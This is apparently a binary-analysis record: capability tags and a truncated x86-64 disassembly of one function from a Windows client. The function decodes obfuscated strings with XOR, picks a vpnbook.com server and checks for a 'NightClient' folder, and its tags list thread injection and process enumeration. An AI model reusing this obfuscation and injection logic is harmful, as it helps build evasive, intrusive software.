Function at 0x140003900
Capabilities:
Create thread
Encode data using xor
Enumerate processes
Generate random numbers using a mersenne twister
Inject thread
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1470]
mov eax, 0x1570
call fcn.140068820
sub rsp, rax
movaps xmmword [rsp + 0x1560], xmm6
mov rax, qword [0x140085080]
xor rax, rsp
mov qword [rbp + 0x1450], rax
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x20], r12b
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp], r12b
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x1444], 0xffffffff
mov dword [rbp + 0xc4], eax
lea edx, [r12 + 1]
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0xc4], eax
inc rdx
cmp rdx, 0x270
jb 0x140003990
mov dword [rbp + 0xc0], 0x270
lea rcx, [rbp + 0xc0]
call fcn.1400075d0
mov ecx, eax
imul rdx, rcx, 0x55d4a80
cmp edx, 0x3df527f
ja 0x1400039fd
nop dword [rax]
lea rcx, [rbp + 0xc0]
call fcn.1400075d0
mov ecx, eax
imul rdx, rcx, 0x55d4a80
cmp edx, 0x3df5280
jb 0x1400039e0
shr rdx, 0x20
add edx, 0x989680
lea rcx, [rbp + 0x40]
call fcn.140006360
nop
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
bts eax, 0x13
mov r8d, eax
mov edx, 0xffffffec
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, 2
mov r8b, 0xcc
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
lea rax, str._DE20.vpnbook.com_
mov qword [rbp - 0x40], rax
lea rax, str._PL134.vpnbook.com_
mov qword [rbp - 0x38], rax
lea rax, str._UK205.vpnbook.com_
mov qword [rbp - 0x30], rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x55555556
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
sub r8d, ecx
movsxd rdx, r8d
mov rdx, qword [rbp + rdx*8 - 0x40]
lea rcx, [rbp + 0xa0]
call fcn.140005d50
nop
lea rcx, [0x1400860c0]
call fcn.140012a40
movsd xmm0, qword [str.XU__]
movsd qword [rbp - 0x68], xmm0
mov eax, dword [0x14007a888]
mov dword [rbp - 0x60], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x5c], al
mov r8d, r12d
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x140003bf5
movdqa xmm4, xmmword [0x14007a960]
movdqa xmm2, xmmword [0x14007a910]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14007a930]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007a940]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000]
movd xmm0, dword [str.XU__]
xorps xmm2, xmm0
movd dword [rbp - 0x68], xmm2
movdqa xmm3, xmmword [0x14007a920]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14007a930]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007a940]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000]
movd xmm0, dword [rbp - 0x64]
xorps xmm2, xmm0
movd dword [rbp - 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x68]
add r9, rax
nop
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140003c00
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x60]
call fcn.140005d50
nop
lea rcx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova rcx, qword [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
movups xmm0, xmmword [0x14007a820]
movups xmmword [rbp - 0x68], xmm0
mov eax, dword [0x14007a830]
mov dword [rbp - 0x58], eax
movzx eax, byte [0x14007a834]
mov byte [rbp - 0x54], al
mov r8d, r12d
cmp esi, 2
jl 0x140003dbd
movdqa xmm5, xmmword [0x14007a910]
movdqa xmm4, xmmword [0x14007a960]
movdqa xmm6, xmmword [0x14007a930]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp - 0x64]
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007a940]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007a940]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140003cb0
cmp r8d, 0x15
jge 0x140003e03
movsxd rax, r8d
lea r9, [rbp - 0x68]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140003dd0
movzx eax, word [0x14007a850]
mov word [rsp + 0x40], ax
mov eax, dword [0x14007a7ec]
mov dword [rbp - 0x50], eax
movzx eax, byte [0x14007a7f0]
cmp byte [0x14007a851], 0
je 0x140003e40
mov byte [rsp + 0x40], reloc.WLDAP32.dll_Ordinal_33
xor byte [rsp + 0x41], 0x31
nop dword [rax]
nop word [rax + rax]
mov byte [rbp - 0x50], 0xa
xor byte [rbp - 0x4f], 0x31
xor byte [rbp - 0x4e], 0x32
xor byte [rbp - 0x4d], 0x33
xor al, 0x34
mov byte [rbp - 0x4c], al
lea rdx, [0x140002be0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rbp - 0x50]
call fcn.140006760
mov rcx, rax
lea rdx, [0x140002c70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rsp + 0x40]
call fcn.140006760
mov rcx, rax
lea rdx, [0x140002be0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rbp - 0x68]
call fcn.140006760
mov qword [rbp - 0x18], r12
mov ecx, 0x40
call fcn.140068160
mov rdx, rax
mov qword [rbp - 0x20], rax
movdqa xmm0, xmmword [reloc.WLDAP32.dll_Ordinal_26]
movdqu xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [str.C:ProgramDataNightClient]
movups xmmword [rax], xmm1
movups xmm0, xmmword [0x14007a5b0]
movups xmmword [rax + 0x10], xmm0
movups xmm1, xmmword [0x14007a5c0]
movups xmmword [rax + 0x20], xmm1
mov eax, dword [0x14007a5d0]
mov dword [rdx + 0x30], eax
mov word [rdx + 0x34], r12w
mov qword [rbp - 0x68], r12
lea r8, [0x14007a3fc]
lea rcx, [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen_s]
test eax, eax
jne 0x140003f25
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor bl, bl
jmp 0x140003f27
mov bl, 1
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140003f6a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003f65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003f65
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400683dc
test bl, bl
je 0x1400041fe
movups xmm0, xmmword [0x14007a8b8]
movups xmmword [rbp - 0x68], xmm0
movzx eax, word [0x14007a8c8]
mov word [rbp - 0x58], ax
cmp byte [0x14007a8c9], 0
je 0x140004123
mov r8d, r12d
cmp esi, 2
jl 0x1400040dd
movdqa xmm5, xmmword [0x14007a910]
movdqa xmm4, xmmword [0x14007a960]
movdqa xmm6, xmmword [0x14007a930]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp - 0x64]
mov edx, dword [rbp - 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007a940]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007a940]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140003fd0
cmp r8d, 0x12
jge 0x140004123
movsxd rax, r8d
lea r9, [rbp - 0x68]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1400040f0
movzx eax, word [0x14007a798]
mov word [rsp + 0x40], ax
mov eax, dword [0x14007a7ec]
mov dword [rbp - 0x50], eax
movzx eax, byte [0x14007a7f0]
cmp byte [0x14007a799], 0
je 0x140004160
mov byte [rsp + 0x40], Ordinal_50
xor byte [rsp + 0x41], 0x31
nop dword [rax]
nop word [rax + rax]
mov byte [rbp - 0x50], 0xa
xor byte [rbp - 0x4f], 0x31
xor byte [rbp - 0x4e], 0x32
xor byte [rbp - 0x4d], 0x33
xor al, 0x34
mov byte [rbp - 0x4c], al
lea rdx, [0x140002be0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rbp - 0x50]
call fcn.140006760
mov rcx, rax
lea rdx, [0x140002c70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rsp + 0x40]
call fcn.140006760
mov rcx, rax
lea rdx, [0x140002be0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rbp - 0x68]
call fcn.140006760
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140007210
lea rdx, [0x140086020]
lea rcx, [rbp - 0x20]
call fcn.140005d50
mov rdx, rax
lea rcx, [0x1400860c0]
call fcn.140013f20
jmp 0x14000454d
mov qword [rbp - 0x18], r12
mov ecx, 0x40
call fcn.140068160
mov rdx, rax
mov qword [rbp - 0x20], rax
movdqa xmm0, xmmword [reloc.WLDAP32.dll_Ordinal_26]
movdqu xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [str.C:ProgramDataNightClient]
movups xmmword [rax], xmm1
movups xmm0, xmmword [0x14007a5b0]
movups xmmword [rax + 0x10], xmm0
movups xmm1, xmmword [0x14007a5c0]
movups xmmword [rax + 0x20], xmm1
mov eax, dword [0x14007a5d0]
mov dword [rdx + 0x30], eax
mov word [rdx + 0x34], r12w
mov qword [rbp - 0x68], r12
lea r8, [0x14007a3fc]
lea rcx, [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen_s]
test eax, eax
jne 0x140004275
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov bl, 1
jmp 0x140004277
xor bl, bl
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x1400042ba
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400042b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400042b5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400683dc
test bl, bl
je 0x14000454d
lea rdx, [0x140086020]
lea rcx, [rbp - 0x20]
call fcn.140005d50
mov rdx, rax
lea rcx, [0x1400860c0]
call fcn.140013f20
movups xmm0, xmmword [0x14007a7d8]
movups xmmword [rbp - 0x68], xmm0
movzx eax, word [0x14007a7e8]
mov word [rbp - 0x58], ax
cmp byte [0x14007a7e9], 0
je 0x140004493
mov r8d, r12d
cmp esi, 2
jl 0x14000444d
movdqa xmm5, xmmword [0x14007a910]
movdqa xmm4, xmmword [0x14007a960]
movdqa xmm6, xmmword [0x14007a930]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp - 0x64]
mov edx, dword [rbp - 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007a940]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007a940]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140004340
cmp r8d, 0x12
jge 0x140004493
movsxd rax, r8d
lea r9, [rbp - 0x68]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140004460
movzx eax, word [0x14007a798]
mov word [rsp + 0x40], ax
mov eax, dword [0x14007a7ec]
mov dword [rbp - 0x50], eax
movzx eax, byte [0x14007a7f0]
cmp byte [0x14007a799], 0
je 0x1400044d0
mov byte [rsp + 0x40], Ordinal_50
xor byte [rsp + 0x41], 0x31
nop dword [rax]
nop word [rax + rax]
mov byte [rbp - 0x50], 0xa
xor byte [rbp - 0x4f], 0x31
xor byte [rbp - 0x4e], 0x32
xor byte [rbp - 0x4d], 0x33
xor al, 0x34
mov byte [rbp - 0x4c], al
lea rdx, [0x140002be0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rbp - 0x50]
call fcn.140006760
mov rcx, rax
lea rdx, [0x140002c70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rsp + 0x40]
call fcn.140006760
mov rcx, rax
lea rdx, [0x140002be0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rbp - 0x68]
call fcn.140006760
mov rcx, rax
lea rdx, [0x140086020]
call fcn.140006760
mov rbx, qword [rbp + 0x40]
cmp byte [0x1400862d8], 0
jne 0x1400046a4
mov byte [0x140086052], 0
movsd xmm0, qword [0x14007a870]
movsd qword [rbp - 0x68], xmm0
movzx ecx, word [0x14007a878]
mov word [rbp - 0x60], cx
movzx eax, byte [0x14007a87a]
mov byte [rbp - 0x68], 0x5d
xor byte [rbp - 0x67], 0x31
xor byte [rbp - 0x66], 0x32
xor byte [rbp - 0x65], 0x33
xor byte [rbp - 0x64], 0x34
xor byte [rbp - 0x63], 0x35
xor byte [rbp - 0x62], 0x36
xor byte [rbp - 0x61], 0x37
xor cl, 0x38
mov byte [rbp - 0x60], cl
xor byte [rbp - 0x5f], 0x39
xor al, 0x3a
mov byte [rbp - 0x5e], al
movzx eax, word [0x14007a804]
mov word [rsp + 0x40], ax
mov eax, dword [0x14007a7ec]
mov dword [rbp - 0x50], eax
movzx eax, byte [0x14007a7f0]
cmp byte [0x14007a805], 0
je 0x1400045f0
mov byte [rsp + 0x40], Ordinal_46
xor byte [rsp + 0x41], 0x31
nop dword [rax]
nop word [rax + rax]
mov byte [rbp - 0x50], 0xa
xor byte [rbp - 0x4f], 0x31
xor byte [rbp - 0x4e], 0x32
xor byte [rbp - 0x4d], 0x33
xor al, 0x34
mov byte [rbp - 0x4c], al
lea rdx, [0x140002be0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rbp - 0x50]
call fcn.140006760
mov rcx, rax
lea rdx, [0x140002c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rsp + 0x40]
call fcn.140006760
mov rcx, rax
lea rdx, [0x140002be0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [rbp - 0x68]
call fcn.140006760
mov rcx, rax
lea rdx, [0x140002c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x1400862e0]
cmp qword [0x1400862f8], 0xf
cmova rdx, qword [0x1400862e0]
mov r8, qword [0x1400862f0]
mov rcx, rax
call fcn.1400073e0
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400058b3
mov byte [0x140086052], 1
lea rdx, [0x1400862b8]
lea rcx, [rbp - 0x20]
call fcn.140003540
nop
mov eax, dword [0x14007a7ec]
mov dword [rbp - 0x50], eax
movzx eax, byte [0x14007a7f0]
mov byte [rbp - 0x50], 0xa
xor byte [rbp - 0x4f], 0x31
xor byte [rbp - 0x4e], 0x32
xor byte [rbp - 0x4d], 0x33
xor al, 0x34
mov byte [rbp - 0x4c], al
movups xmm0, xmmword [0x14007a7a0]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [0x14007a7b0]
movups xmmword [rsp + 0x58], xmm1
movsd xmm0, qword [0x14007a7c0]
movsd qword [rsp + 0x68], xmm0
mov eax, dword [str.1_2_]
mov dword [rsp + 0x70], eax
movzx eax, word [0x14007a7cc]
mov word [rsp + 0x74], ax
movzx eax, byte [0x14007a7ce]
mov byte [rsp + 0x76], al
mov r8d, r12d
cmp esi, 2
jl 0x14000486e
movdqa xmm5, xmmword [0x14007a910]
movdqa xmm4, xmmword [0x14007a960]
movdqa xmm6, xmmword [0x14007a930]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rsp + 0x4c]
mov edx, dword [rbp - 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007a940]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007a940]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140004761
cmp r8d, 0x2f
jge 0x1400048b3
movsxd rax, r8d
lea r9, [rsp + 0x48]
